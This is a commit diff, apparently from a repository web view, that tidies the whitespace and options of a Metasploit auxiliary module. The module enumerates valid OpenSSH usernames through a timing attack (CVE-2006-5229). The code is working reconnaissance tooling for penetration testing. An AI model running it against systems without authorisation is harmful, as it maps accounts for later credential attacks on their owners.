Fix up whitespace 'n' stuff
parent
96f042110f
commit
1a2899d57b
|
@ -12,50 +12,47 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::CommandShell
|
include Msf::Auxiliary::CommandShell
|
||||||
|
|
||||||
def initialize
|
def initialize(info = {})
|
||||||
super(
|
super(update_info(info
|
||||||
'Name' => 'SSH Username Enumeration',
|
'Name' => 'SSH Username Enumeration',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module uses a time-based attack to enumerate users in a OpenSSH server.
|
This module uses a time-based attack to enumerate users in a OpenSSH server.
|
||||||
},
|
},
|
||||||
'Author' => ['kenkeiras'],
|
'Author' => ['kenkeiras'],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['CVE', '2006-5229']
|
['CVE', '2006-5229']
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
)
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
|
Opt::RPORT(22),
|
||||||
OptPath.new('USER_FILE',
|
OptPath.new('USER_FILE',
|
||||||
[true, 'File containing usernames, one per line', nil]),
|
[true, 'File containing usernames, one per line', nil]),
|
||||||
OptInt.new('THRESHOLD',
|
OptInt.new('THRESHOLD',
|
||||||
[true,
|
[true,
|
||||||
'Amount of seconds needed before a user is considered ' \
|
'Amount of seconds needed before a user is considered ' \
|
||||||
'found', 10]),
|
'found', 10])
|
||||||
Opt::RPORT(22)
|
|
||||||
], self.class
|
], self.class
|
||||||
)
|
)
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('SSH_DEBUG',
|
|
||||||
[false, 'Enable SSH debugging output (Extreme verbosity!)',
|
|
||||||
false]),
|
|
||||||
|
|
||||||
OptInt.new('SSH_TIMEOUT',
|
|
||||||
[false, 'Specify the maximum time to negotiate a SSH session',
|
|
||||||
10]),
|
|
||||||
|
|
||||||
OptInt.new('RETRY_NUM',
|
OptInt.new('RETRY_NUM',
|
||||||
[true , 'The number of attempts to connect to a SSH server' \
|
[true , 'The number of attempts to connect to a SSH server' \
|
||||||
' for each user', 3])
|
' for each user', 3]),
|
||||||
|
OptInt.new('SSH_TIMEOUT',
|
||||||
|
[false, 'Specify the maximum time to negotiate a SSH session',
|
||||||
|
10]),
|
||||||
|
OptBool.new('SSH_DEBUG',
|
||||||
|
[false, 'Enable SSH debugging output (Extreme verbosity!)',
|
||||||
|
false])
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def rport
|
def rport
|
||||||
datastore['RPORT']
|
datastore['RPORT']
|
||||||
end
|
end
|
||||||
|
@ -90,16 +87,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||||
Net::SSH.start(ip, user, opt_hash)
|
Net::SSH.start(ip, user, opt_hash)
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||||
return :connection_error
|
return :connection_error
|
||||||
|
|
||||||
rescue Net::SSH::Disconnect, ::EOFError
|
rescue Net::SSH::Disconnect, ::EOFError
|
||||||
return :success
|
return :success
|
||||||
|
|
||||||
rescue ::Timeout::Error
|
rescue ::Timeout::Error
|
||||||
return :success
|
return :success
|
||||||
|
|
||||||
rescue Net::SSH::Exception
|
rescue Net::SSH::Exception
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -112,29 +105,25 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def do_report(ip, user, port)
|
def do_report(ip, user, port)
|
||||||
report_auth_info(
|
report_auth_info(
|
||||||
:host => ip,
|
:host => ip,
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:sname => 'ssh',
|
:sname => 'ssh',
|
||||||
:user => user,
|
:user => user,
|
||||||
:active => true
|
:active => true
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def user_list
|
def user_list
|
||||||
File.new(datastore['USER_FILE']).read.split
|
File.new(datastore['USER_FILE']).read.split
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def attempt_user(user, ip)
|
def attempt_user(user, ip)
|
||||||
attempt_num = 0
|
attempt_num = 0
|
||||||
ret = nil
|
ret = nil
|
||||||
|
|
||||||
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
|
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
|
||||||
|
|
||||||
if attempt_num > 0
|
if attempt_num > 0
|
||||||
Rex.sleep(2 ** attempt_num)
|
Rex.sleep(2 ** attempt_num)
|
||||||
print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
|
print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
|
||||||
|
@ -143,28 +132,25 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
ret = check_user(ip, user, rport)
|
ret = check_user(ip, user, rport)
|
||||||
attempt_num += 1
|
attempt_num += 1
|
||||||
end
|
end
|
||||||
|
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def show_result(attempt_result, user, ip)
|
def show_result(attempt_result, user, ip)
|
||||||
case attempt_result
|
case attempt_result
|
||||||
when :success
|
when :success
|
||||||
print_good "User '#{user}' found on #{ip}"
|
print_good "User '#{user}' found on #{ip}"
|
||||||
do_report(ip, user, rport)
|
do_report(ip, user, rport)
|
||||||
|
|
||||||
when :connection_error
|
when :connection_error
|
||||||
print_error "User '#{user}' on #{ip} could not connect"
|
print_error "User '#{user}' on #{ip} could not connect"
|
||||||
|
|
||||||
when :fail
|
when :fail
|
||||||
print_debug "User '#{user}' not found on #{ip}"
|
print_debug "User '#{user}' not found on #{ip}"
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
print_status "Starting scan on #{ip}"
|
print_status "Starting scan on #{ip}"
|
||||||
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
|
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue